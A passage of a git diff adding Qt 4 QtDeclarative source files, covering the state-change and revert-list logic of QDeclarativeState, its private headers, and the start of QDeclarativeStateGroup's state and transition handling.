+ additionalReverts << r;
+ d->revertList.removeAt(jj);
+ --jj;
+ } else if (action.event->isRewindable()) //###why needed?
+ action.event->saveCurrentValues();
+
+ break;
+ }
+ }
+ }
+ if (!found) {
+ action.event->saveOriginals();
+ // Only need to revert the applyList action if the previous
+ // state doesn't have a higher priority revert already
+ QDeclarativeSimpleAction r(action);
+ additionalReverts << r;
+ }
+ } else {
+ bool found = false;
+ action.fromBinding = QDeclarativePropertyPrivate::binding(action.property);
+
+ for (int jj = 0; jj < d->revertList.count(); ++jj) {
+ if (d->revertList.at(jj).property() == action.property) {
+ found = true;
+ if (d->revertList.at(jj).binding() != action.fromBinding) {
+ action.deleteFromBinding();
+ }
+ break;
+ }
+ }
+
+ if (!found) {
+ if (!action.restore) {
+ action.deleteFromBinding();;
+ } else {
+ // Only need to revert the applyList action if the previous
+ // state doesn't have a higher priority revert already
+ QDeclarativeSimpleAction r(action);
+ additionalReverts << r;
+ }
+ }
+ }
+ }
+
+ // Any reverts from a previous state that aren't carried forth
+ // into this state need to be translated into apply actions
+ for (int ii = 0; ii < d->revertList.count(); ++ii) {
+ bool found = false;
+ if (d->revertList.at(ii).event()) {
+ QDeclarativeActionEvent *event = d->revertList.at(ii).event();
+ if (!event->isReversable())
+ continue;
+ for (int jj = 0; !found && jj < applyList.count(); ++jj) {
+ const QDeclarativeAction &action = applyList.at(jj);
+ if (action.event && action.event->typeName() == event->typeName()) {
+ if (action.event->override(event))
+ found = true;
+ }
+ }
+ } else {
+ for (int jj = 0; !found && jj < applyList.count(); ++jj) {
+ const QDeclarativeAction &action = applyList.at(jj);
+ if (action.property == d->revertList.at(ii).property())
+ found = true;
+ }
+ }
+ if (!found) {
+ QVariant cur = d->revertList.at(ii).property().read();
+ QDeclarativeAbstractBinding *delBinding =
+ QDeclarativePropertyPrivate::setBinding(d->revertList.at(ii).property(), 0);
+ if (delBinding)
+ delBinding->destroy();
+
+ QDeclarativeAction a;
+ a.property = d->revertList.at(ii).property();
+ a.fromValue = cur;
+ a.toValue = d->revertList.at(ii).value();
+ a.toBinding = QDeclarativeAbstractBinding::getPointer(d->revertList.at(ii).binding());
+ a.specifiedObject = d->revertList.at(ii).specifiedObject();
+ a.specifiedProperty = d->revertList.at(ii).specifiedProperty();
+ a.event = d->revertList.at(ii).event();
+ a.reverseEvent = d->revertList.at(ii).reverseEvent();
+ if (a.event && a.event->isRewindable())
+ a.event->saveCurrentValues();
+ applyList << a;
+ // Store these special reverts in the reverting list
+ d->reverting << d->revertList.at(ii).property();
+ }
+ }
+ // All the local reverts now become part of the ongoing revertList
+ d->revertList << additionalReverts;
+
+#ifndef QT_NO_DEBUG_STREAM
+ // Output for debugging
+ if (stateChangeDebug()) {
+ foreach(const QDeclarativeAction &action, applyList) {
+ if (action.event)
+ qWarning() << " QDeclarativeAction event:" << action.event->typeName();
+ else
+ qWarning() << " QDeclarativeAction:" << action.property.object()
+ << action.property.name() << "From:" << action.fromValue
+ << "To:" << action.toValue;
+ }
+ }
+#endif
+
+ d->transitionManager.transition(applyList, trans);
+}
+
+QDeclarativeStateOperation::ActionList QDeclarativeStateOperation::actions()
+{
+ return ActionList();
+}
+
+QDeclarativeState *QDeclarativeStateOperation::state() const
+{
+ Q_D(const QDeclarativeStateOperation);
+ return d->m_state;
+}
+
+void QDeclarativeStateOperation::setState(QDeclarativeState *state)
+{
+ Q_D(QDeclarativeStateOperation);
+ d->m_state = state;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativestate_p.h b/src/declarative/util/qdeclarativestate_p.h
new file mode 100644
index 00000000..849361f5
--- /dev/null
+++ b/src/declarative/util/qdeclarativestate_p.h
@@ -0,0 +1,210 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVESTATE_H
+#define QDECLARATIVESTATE_H
+
+#include <qdeclarative.h>
+#include <qdeclarativeproperty.h>
+#include <QtCore/qobject.h>
+#include <QtCore/qsharedpointer.h>
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeActionEvent;
+class QDeclarativeAbstractBinding;
+class QDeclarativeBinding;
+class QDeclarativeExpression;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeAction
+{
+public:
+ QDeclarativeAction();
+ QDeclarativeAction(QObject *, const QString &, const QVariant &);
+ QDeclarativeAction(QObject *, const QString &,
+ QDeclarativeContext *, const QVariant &);
+
+ bool restore:1;
+ bool actionDone:1;
+ bool reverseEvent:1;
+ bool deletableToBinding:1;
+
+ QDeclarativeProperty property;
+ QVariant fromValue;
+ QVariant toValue;
+
+ QDeclarativeAbstractBinding *fromBinding;
+ QWeakPointer<QDeclarativeAbstractBinding> toBinding;
+ QDeclarativeActionEvent *event;
+
+ //strictly for matching
+ QObject *specifiedObject;
+ QString specifiedProperty;
+
+ void deleteFromBinding();
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeActionEvent
+{
+public:
+ virtual ~QDeclarativeActionEvent();
+ virtual QString typeName() const;
+
+ enum Reason { ActualChange, FastForward };
+
+ virtual void execute(Reason reason = ActualChange);
+ virtual bool isReversable();
+ virtual void reverse(Reason reason = ActualChange);
+ virtual void saveOriginals() {}
+ virtual bool needsCopy() { return false; }
+ virtual void copyOriginals(QDeclarativeActionEvent *) {}
+
+ virtual bool isRewindable() { return isReversable(); }
+ virtual void rewind() {}
+ virtual void saveCurrentValues() {}
+ virtual void saveTargetValues() {}
+
+ virtual bool changesBindings();
+ virtual void clearBindings();
+ virtual bool override(QDeclarativeActionEvent*other);
+};
+
+//### rename to QDeclarativeStateChange?
+class QDeclarativeStateGroup;
+class QDeclarativeState;
+class QDeclarativeStateOperationPrivate;
+class Q_DECLARATIVE_EXPORT QDeclarativeStateOperation : public QObject
+{
+ Q_OBJECT
+public:
+ QDeclarativeStateOperation(QObject *parent = 0)
+ : QObject(parent) {}
+ typedef QList<QDeclarativeAction> ActionList;
+
+ virtual ActionList actions();
+
+ QDeclarativeState *state() const;
+ void setState(QDeclarativeState *state);
+
+protected:
+ QDeclarativeStateOperation(QObjectPrivate &dd, QObject *parent = 0);
+
+private:
+ Q_DECLARE_PRIVATE(QDeclarativeStateOperation)
+ Q_DISABLE_COPY(QDeclarativeStateOperation)
+};
+
+typedef QDeclarativeStateOperation::ActionList QDeclarativeStateActions;
+
+class QDeclarativeTransition;
+class QDeclarativeStatePrivate;
+class Q_DECLARATIVE_EXPORT QDeclarativeState : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(QString name READ name WRITE setName)
+ Q_PROPERTY(QDeclarativeBinding *when READ when WRITE setWhen)
+ Q_PROPERTY(QString extend READ extends WRITE setExtends)
+ Q_PROPERTY(QDeclarativeListProperty<QDeclarativeStateOperation> changes READ changes)
+ Q_CLASSINFO("DefaultProperty", "changes")
+ Q_CLASSINFO("DeferredPropertyNames", "changes")
+
+public:
+ QDeclarativeState(QObject *parent=0);
+ virtual ~QDeclarativeState();
+
+ QString name() const;
+ void setName(const QString &);
+ bool isNamed() const;
+
+ /*'when' is a QDeclarativeBinding to limit state changes oscillation
+ due to the unpredictable order of evaluation of bound expressions*/
+ bool isWhenKnown() const;
+ QDeclarativeBinding *when() const;
+ void setWhen(QDeclarativeBinding *);
+
+ QString extends() const;
+ void setExtends(const QString &);
+
+ QDeclarativeListProperty<QDeclarativeStateOperation> changes();
+ int operationCount() const;
+ QDeclarativeStateOperation *operationAt(int) const;
+
+ QDeclarativeState &operator<<(QDeclarativeStateOperation *);
+
+ void apply(QDeclarativeStateGroup *, QDeclarativeTransition *, QDeclarativeState *revert);
+ void cancel();
+
+ QDeclarativeStateGroup *stateGroup() const;
+ void setStateGroup(QDeclarativeStateGroup *);
+
+ bool containsPropertyInRevertList(QObject *target, const QString &name) const;
+ bool changeValueInRevertList(QObject *target, const QString &name, const QVariant &revertValue);
+ bool changeBindingInRevertList(QObject *target, const QString &name, QDeclarativeAbstractBinding *binding);
+ bool removeEntryFromRevertList(QObject *target, const QString &name);
+ void addEntryToRevertList(const QDeclarativeAction &action);
+ void removeAllEntriesFromRevertList(QObject *target);
+ void addEntriesToRevertList(const QList<QDeclarativeAction> &actions);
+ QVariant valueInRevertList(QObject *target, const QString &name) const;
+ QDeclarativeAbstractBinding *bindingInRevertList(QObject *target, const QString &name) const;
+
+ bool isStateActive() const;
+
+Q_SIGNALS:
+ void completed();
+
+private:
+ Q_DECLARE_PRIVATE(QDeclarativeState)
+ Q_DISABLE_COPY(QDeclarativeState)
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeStateOperation)
+QML_DECLARE_TYPE(QDeclarativeState)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVESTATE_H
diff --git a/src/declarative/util/qdeclarativestate_p_p.h b/src/declarative/util/qdeclarativestate_p_p.h
new file mode 100644
index 00000000..192d02db
--- /dev/null
+++ b/src/declarative/util/qdeclarativestate_p_p.h
@@ -0,0 +1,255 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVESTATE_P_H
+#define QDECLARATIVESTATE_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativestate_p.h"
+
+#include "private/qdeclarativeanimation_p_p.h"
+#include "private/qdeclarativetransitionmanager_p_p.h"
+
+#include <private/qdeclarativeproperty_p.h>
+#include <private/qdeclarativeguard_p.h>
+
+#include <private/qdeclarativebinding_p.h>
+
+#include <private/qobject_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeSimpleAction
+{
+public:
+ enum State { StartState, EndState };
+ QDeclarativeSimpleAction(const QDeclarativeAction &a, State state = StartState)
+ {
+ m_property = a.property;
+ m_specifiedObject = a.specifiedObject;
+ m_specifiedProperty = a.specifiedProperty;
+ m_event = a.event;
+ if (state == StartState) {
+ m_value = a.fromValue;
+ if (QDeclarativePropertyPrivate::binding(m_property)) {
+ m_binding = QDeclarativeAbstractBinding::getPointer(QDeclarativePropertyPrivate::binding(m_property));
+ }
+ m_reverseEvent = true;
+ } else {
+ m_value = a.toValue;
+ m_binding = a.toBinding;
+ m_reverseEvent = false;
+ }
+ }
+
+ ~QDeclarativeSimpleAction()
+ {
+ }
+
+ QDeclarativeSimpleAction(const QDeclarativeSimpleAction &other)
+ : m_property(other.m_property),
+ m_value(other.m_value),
+ m_binding(QDeclarativeAbstractBinding::getPointer(other.binding())),
+ m_specifiedObject(other.m_specifiedObject),
+ m_specifiedProperty(other.m_specifiedProperty),
+ m_event(other.m_event),
+ m_reverseEvent(other.m_reverseEvent)
+ {
+ }
+
+ QDeclarativeSimpleAction &operator =(const QDeclarativeSimpleAction &other)
+ {
+ m_property = other.m_property;
+ m_value = other.m_value;
+ m_binding = QDeclarativeAbstractBinding::getPointer(other.binding());
+ m_specifiedObject = other.m_specifiedObject;
+ m_specifiedProperty = other.m_specifiedProperty;
+ m_event = other.m_event;
+ m_reverseEvent = other.m_reverseEvent;
+
+ return *this;
+ }
+
+ void setProperty(const QDeclarativeProperty &property)
+ {
+ m_property = property;
+ }
+
+ const QDeclarativeProperty &property() const
+ {
+ return m_property;
+ }
+
+ void setValue(const QVariant &value)
+ {
+ m_value = value;
+ }
+
+ const QVariant &value() const
+ {
+ return m_value;
+ }
+
+ void setBinding(QDeclarativeAbstractBinding *binding)
+ {
+ m_binding = QDeclarativeAbstractBinding::getPointer(binding);
+ }
+
+ QDeclarativeAbstractBinding *binding() const
+ {
+ return m_binding.data();
+ }
+
+ QObject *specifiedObject() const
+ {
+ return m_specifiedObject;
+ }
+
+ const QString &specifiedProperty() const
+ {
+ return m_specifiedProperty;
+ }
+
+ QDeclarativeActionEvent *event() const
+ {
+ return m_event;
+ }
+
+ bool reverseEvent() const
+ {
+ return m_reverseEvent;
+ }
+
+private:
+ QDeclarativeProperty m_property;
+ QVariant m_value;
+ QDeclarativeAbstractBinding::Pointer m_binding;
+ QObject *m_specifiedObject;
+ QString m_specifiedProperty;
+ QDeclarativeActionEvent *m_event;
+ bool m_reverseEvent;
+};
+
+class QDeclarativeStateOperationPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeStateOperation)
+
+public:
+
+ QDeclarativeStateOperationPrivate()
+ : m_state(0) {}
+
+ QDeclarativeState *m_state;
+};
+
+class QDeclarativeStatePrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeState)
+
+public:
+ QDeclarativeStatePrivate()
+ : when(0), named(false), inState(false), group(0) {}
+
+ typedef QList<QDeclarativeSimpleAction> SimpleActionList;
+
+ QString name;
+ QDeclarativeBinding *when;
+ bool named;
+
+ struct OperationGuard : public QDeclarativeGuard<QDeclarativeStateOperation>
+ {
+ OperationGuard(QObject *obj, QList<OperationGuard> *l) : list(l) {
+ setObject(static_cast<QDeclarativeStateOperation *>(obj));
+ }
+ QList<OperationGuard> *list;
+ void objectDestroyed(QDeclarativeStateOperation *) {
+ // we assume priv will always be destroyed after objectDestroyed calls
+ list->removeOne(*this);
+ }
+ };
+ QList<OperationGuard> operations;
+
+ static void operations_append(QDeclarativeListProperty<QDeclarativeStateOperation> *prop, QDeclarativeStateOperation *op) {
+ QList<OperationGuard> *list = static_cast<QList<OperationGuard> *>(prop->data);
+ op->setState(qobject_cast<QDeclarativeState*>(prop->object));
+ list->append(OperationGuard(op, list));
+ }
+ static void operations_clear(QDeclarativeListProperty<QDeclarativeStateOperation> *prop) {
+ QList<OperationGuard> *list = static_cast<QList<OperationGuard> *>(prop->data);
+ QMutableListIterator<OperationGuard> listIterator(*list);
+ while(listIterator.hasNext())
+ listIterator.next()->setState(0);
+ list->clear();
+ }
+ static int operations_count(QDeclarativeListProperty<QDeclarativeStateOperation> *prop) {
+ QList<OperationGuard> *list = static_cast<QList<OperationGuard> *>(prop->data);
+ return list->count();
+ }
+ static QDeclarativeStateOperation *operations_at(QDeclarativeListProperty<QDeclarativeStateOperation> *prop, int index) {
+ QList<OperationGuard> *list = static_cast<QList<OperationGuard> *>(prop->data);
+ return list->at(index);
+ }
+
+ QDeclarativeTransitionManager transitionManager;
+
+ SimpleActionList revertList;
+ QList<QDeclarativeProperty> reverting;
+ QString extends;
+ mutable bool inState;
+ QDeclarativeStateGroup *group;
+
+ QDeclarativeStateOperation::ActionList generateActionList(QDeclarativeStateGroup *) const;
+ void complete();
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVESTATE_P_H
diff --git a/src/declarative/util/qdeclarativestategroup.cpp b/src/declarative/util/qdeclarativestategroup.cpp
new file mode 100644
index 00000000..29be45e9
--- /dev/null
+++ b/src/declarative/util/qdeclarativestategroup.cpp
@@ -0,0 +1,502 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativestategroup_p.h"
+
+#include "private/qdeclarativetransition_p.h"
+#include "private/qdeclarativestate_p_p.h"
+
+#include <qdeclarativebinding_p.h>
+#include <qdeclarativeglobal_p.h>
+
+#include <QtCore/qstringbuilder.h>
+#include <QtCore/qdebug.h>
+
+#include <private/qobject_p.h>
+#include <qdeclarativeinfo.h>
+
+QT_BEGIN_NAMESPACE
+
+DEFINE_BOOL_CONFIG_OPTION(stateChangeDebug, STATECHANGE_DEBUG);
+
+class QDeclarativeStateGroupPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeStateGroup)
+public:
+ QDeclarativeStateGroupPrivate()
+ : nullState(0), componentComplete(true),
+ ignoreTrans(false), applyingState(false), unnamedCount(0) {}
+
+ QString currentState;
+ QDeclarativeState *nullState;
+
+ static void append_state(QDeclarativeListProperty<QDeclarativeState> *list, QDeclarativeState *state);
+ static int count_state(QDeclarativeListProperty<QDeclarativeState> *list);
+ static QDeclarativeState *at_state(QDeclarativeListProperty<QDeclarativeState> *list, int index);
+ static void clear_states(QDeclarativeListProperty<QDeclarativeState> *list);
+
+ static void append_transition(QDeclarativeListProperty<QDeclarativeTransition> *list, QDeclarativeTransition *state);
+ static int count_transitions(QDeclarativeListProperty<QDeclarativeTransition> *list);
+ static QDeclarativeTransition *at_transition(QDeclarativeListProperty<QDeclarativeTransition> *list, int index);
+ static void clear_transitions(QDeclarativeListProperty<QDeclarativeTransition> *list);
+
+ QList<QDeclarativeState *> states;
+ QList<QDeclarativeTransition *> transitions;
+
+ bool componentComplete;
+ bool ignoreTrans;
+ bool applyingState;
+ int unnamedCount;
+
+ QDeclarativeTransition *findTransition(const QString &from, const QString &to);
+ void setCurrentStateInternal(const QString &state, bool = false);
+ bool updateAutoState();
+};
+
+/*!
+ \qmlclass StateGroup QDeclarativeStateGroup
+ \ingroup qml-state-elements
+ \since 4.7
+ \brief The StateGroup element provides state support for non-Item elements.
+
+ Item (and all derived elements) provides built in support for states and transitions
+ via its \l{Item::state}{state}, \l{Item::states}{states} and \l{Item::transitions}{transitions} properties. StateGroup provides an easy way to
+ use this support in other (non-Item-derived) elements.
+
+ \qml
+ MyCustomObject {
+ StateGroup {
+ id: myStateGroup
+ states: State {
+ name: "state1"
+ // ...
+ }
+ transitions: Transition {
+ // ...
+ }
+ }
+
+ onSomethingHappened: myStateGroup.state = "state1";
+ }
+ \endqml
+
+ \sa {qmlstate}{States} {QML Animation and Transitions}{Transitions}, {QtDeclarative}
+*/
+
+QDeclarativeStateGroup::QDeclarativeStateGroup(QObject *parent)
+ : QObject(*(new QDeclarativeStateGroupPrivate), parent)
+{
+}
+
+QDeclarativeStateGroup::~QDeclarativeStateGroup()
+{
+ Q_D(const QDeclarativeStateGroup);
+ for (int i = 0; i < d->states.count(); ++i)
+ d->states.at(i)->setStateGroup(0);
+}
+
+QList<QDeclarativeState *> QDeclarativeStateGroup::states() const
+{
+ Q_D(const QDeclarativeStateGroup);
+ return d->states;
+}
+
+/*!
+ \qmlproperty list<State> StateGroup::states
+ This property holds a list of states defined by the state group.
+
+ \qml
+ StateGroup {
+ states: [
+ State {
+ // State definition...
+ },
+ State {
+ // ...
+ }
+ // Other states...
+ ]
+ }
+ \endqml
+
+ \sa {qmlstate}{States}
+*/
+QDeclarativeListProperty<QDeclarativeState> QDeclarativeStateGroup::statesProperty()
+{
+ Q_D(QDeclarativeStateGroup);
+ return QDeclarativeListProperty<QDeclarativeState>(this, &d->states, &QDeclarativeStateGroupPrivate::append_state,
+ &QDeclarativeStateGroupPrivate::count_state,
+ &QDeclarativeStateGroupPrivate::at_state,
+ &QDeclarativeStateGroupPrivate::clear_states);
+}
+
+void QDeclarativeStateGroupPrivate::append_state(QDeclarativeListProperty<QDeclarativeState> *list, QDeclarativeState *state)
+{
+ QDeclarativeStateGroup *_this = static_cast<QDeclarativeStateGroup *>(list->object);
+ if (state) {
+ _this->d_func()->states.append(state);
+ state->setStateGroup(_this);
+ }
+
+}
+
+int QDeclarativeStateGroupPrivate::count_state(QDeclarativeListProperty<QDeclarativeState> *list)
+{
+ QDeclarativeStateGroup *_this = static_cast<QDeclarativeStateGroup *>(list->object);
+ return _this->d_func()->states.count();
+}
+
+QDeclarativeState *QDeclarativeStateGroupPrivate::at_state(QDeclarativeListProperty<QDeclarativeState> *list, int index)
+{
+ QDeclarativeStateGroup *_this = static_cast<QDeclarativeStateGroup *>(list->object);
+ return _this->d_func()->states.at(index);
+}
+
+void QDeclarativeStateGroupPrivate::clear_states(QDeclarativeListProperty<QDeclarativeState> *list)
+{
+ QDeclarativeStateGroup *_this = static_cast<QDeclarativeStateGroup *>(list->object);
+ _this->d_func()->setCurrentStateInternal(QString(), true);
+ for (int i = 0; i < _this->d_func()->states.count(); ++i) {
+ _this->d_func()->states.at(i)->setStateGroup(0);
+ }
+ _this->d_func()->states.clear();
+}
+
+/*!
+ \qmlproperty list<Transition> StateGroup::transitions
+ This property holds a list of transitions defined by the state group.
+
+ \qml
+ StateGroup {
+ transitions: [
+ Transition {
+ // ...
+ },
+ Transition {
+ // ...
+ }
+ // ...
+ ]
+ }
+ \endqml
+
+ \sa {QML Animation and Transitions}{Transitions}
+*/
+QDeclarativeListProperty<QDeclarativeTransition> QDeclarativeStateGroup::transitionsProperty()
+{
+ Q_D(QDeclarativeStateGroup);
+ return QDeclarativeListProperty<QDeclarativeTransition>(this, &d->transitions, &QDeclarativeStateGroupPrivate::append_transition,
+ &QDeclarativeStateGroupPrivate::count_transitions,
+ &QDeclarativeStateGroupPrivate::at_transition,
+ &QDeclarativeStateGroupPrivate::clear_transitions);
+}
+
+void QDeclarativeStateGroupPrivate::append_transition(QDeclarativeListProperty<QDeclarativeTransition> *list, QDeclarativeTransition *trans)
+{
+ QDeclarativeStateGroup *_this = static_cast<QDeclarativeStateGroup *>(list->object);
+ if (trans)
+ _this->d_func()->transitions.append(trans);
+}
+
+int QDeclarativeStateGroupPrivate::count_transitions(QDeclarativeListProperty<QDeclarativeTransition> *list)
+{
+ QDeclarativeStateGroup *_this = static_cast<QDeclarativeStateGroup *>(list->object);
+ return _this->d_func()->transitions.count();
+}
+
+QDeclarativeTransition *QDeclarativeStateGroupPrivate::at_transition(QDeclarativeListProperty<QDeclarativeTransition> *list, int index)
+{
+ QDeclarativeStateGroup *_this = static_cast<QDeclarativeStateGroup *>(list->object);
+ return _this->d_func()->transitions.at(index);
+}
+
+void QDeclarativeStateGroupPrivate::clear_transitions(QDeclarativeListProperty<QDeclarativeTransition> *list)
+{
+ QDeclarativeStateGroup *_this = static_cast<QDeclarativeStateGroup *>(list->object);
+ _this->d_func()->transitions.clear();
+}
+
+/*!
+ \qmlproperty string StateGroup::state
+
+ This property holds the name of the current state of the state group.
+
+ This property is often used in scripts to change between states. For
+ example:
+
+ \js
+ function toggle() {
+ if (button.state == 'On')
+ button.state = 'Off';
+ else
+ button.state = 'On';
+ }
+ \endjs
+
+ If the state group is in its base state (i.e. no explicit state has been
+ set), \c state will be a blank string. Likewise, you can return a
+ state group to its base state by setting its current state to \c ''.
+
+ \sa {qmlstates}{States}
+*/
+QString QDeclarativeStateGroup::state() const
+{
+ Q_D(const QDeclarativeStateGroup);
+ return d->currentState;
+}
+
+void QDeclarativeStateGroup::setState(const QString &state)
+{
+ Q_D(QDeclarativeStateGroup);
+ if (d->currentState == state)
+ return;
+
+ d->setCurrentStateInternal(state);
+}
+
+void QDeclarativeStateGroup::classBegin()
+{
+ Q_D(QDeclarativeStateGroup);
+ d->componentComplete = false;
+}
+
+void QDeclarativeStateGroup::componentComplete()
+{
+ Q_D(QDeclarativeStateGroup);
+ d->componentComplete = true;
+
+ for (int ii = 0; ii < d->states.count(); ++ii) {
+ QDeclarativeState *state = d->states.at(ii);
+ if (!state->isNamed())
+ state->setName(QLatin1String("anonymousState") % QString::number(++d->unnamedCount));
+ }
+
+ if (d->updateAutoState()) {
+ return;
+ } else if (!d->currentState.isEmpty()) {
+ QString cs = d->currentState;
+ d->currentState.clear();
+ d->setCurrentStateInternal(cs, true);
+ }
+}
+
+/*!
+ Returns true if the state was changed, otherwise false.
+*/
+bool QDeclarativeStateGroup::updateAutoState()
+{
+ Q_D(QDeclarativeStateGroup);
+ return d->updateAutoState();
+}
+
+bool QDeclarativeStateGroupPrivate::updateAutoState()
+{
+ Q_Q(QDeclarativeStateGroup);
+ if (!componentComplete)
+ return false;
+
+ bool revert = false;
+ for (int ii = 0; ii < states.count(); ++ii) {
+ QDeclarativeState *state = states.at(ii);
+ if (state->isWhenKnown()) {
+ if (state->isNamed()) {
+ if (state->when() && state->when()->evaluate().toBool()) {
+ if (stateChangeDebug())
+ qWarning() << "Setting auto state due to:"
+ << state->when()->expression();
+ if (currentState != state->name()) {
+ q->setState(state->name());
+ return true;
+ } else {
+ return false;
+ }
+ } else if (state->name() == currentState) {
+ revert = true;
+ }
+ }
+ }
+ }
+ if (revert) {
+ bool rv = !currentState.isEmpty();
+ q->setState(QString());
+ return rv;
+ } else {
+ return false;
+ }
+}
+
+QDeclarativeTransition *QDeclarativeStateGroupPrivate::findTransition(const QString &from, const QString &to)
+{
+ QDeclarativeTransition *highest = 0;
+ int score = 0;
+ bool reversed = false;
+ bool done = false;
+
+ for (int ii = 0; !done && ii < transitions.count(); ++ii) {
+ QDeclarativeTransition *t = transitions.at(ii);
+ for (int ii = 0; ii < 2; ++ii)
+ {
+ if (ii && (!t->reversible() ||
+ (t->fromState() == QLatin1String("*") &&
+ t->toState() == QLatin1String("*"))))
+ break;
+ QStringList fromState;
+ QStringList toState;
+
+ fromState = t->fromState().split(QLatin1Char(','));
+ toState = t->toState().split(QLatin1Char(','));
+ if (ii == 1)
+ qSwap(fromState, toState);
+ int tScore = 0;
+ if (fromState.contains(from))
+ tScore += 2;
+ else if (fromState.contains(QLatin1String("*")))
+ tScore += 1;
+ else
+ continue;
+
+ if (toState.contains(to))
+ tScore += 2;
+ else if (toState.contains(QLatin1String("*")))
+ tScore += 1;
+ else
+ continue;
+
+ if (ii == 1)
+ reversed = true;
+ else
+ reversed = false;
+
+ if (tScore == 4) {
+ highest = t;
+ done = true;
+ break;
+ } else if (tScore > score) {
+ score = tScore;
+ highest = t;
+ }
+ }
+ }
+
+ if (highest)
+ highest->setReversed(reversed);
+
+ return highest;
+}
+
+void QDeclarativeStateGroupPrivate::setCurrentStateInternal(const QString &state,
+ bool ignoreTrans)
+{
+ Q_Q(QDeclarativeStateGroup);
+ if (!componentComplete) {
+ currentState = state;
+ return;
+ }
+
+ if (applyingState) {
+ qmlInfo(q) << "Can't apply a state change as part of a state definition.";
+ return;
+ }
+
+ applyingState = true;
+
+ QDeclarativeTransition *transition = (ignoreTrans || ignoreTrans) ? 0 : findTransition(currentState, state);
+ if (stateChangeDebug()) {
+ qWarning() << this << "Changing state. From" << currentState << ". To" << state;
+ if (transition)
+ qWarning() << " using transition" << transition->fromState()
+ << transition->toState();
+ }
+
+ QDeclarativeState *oldState = 0;
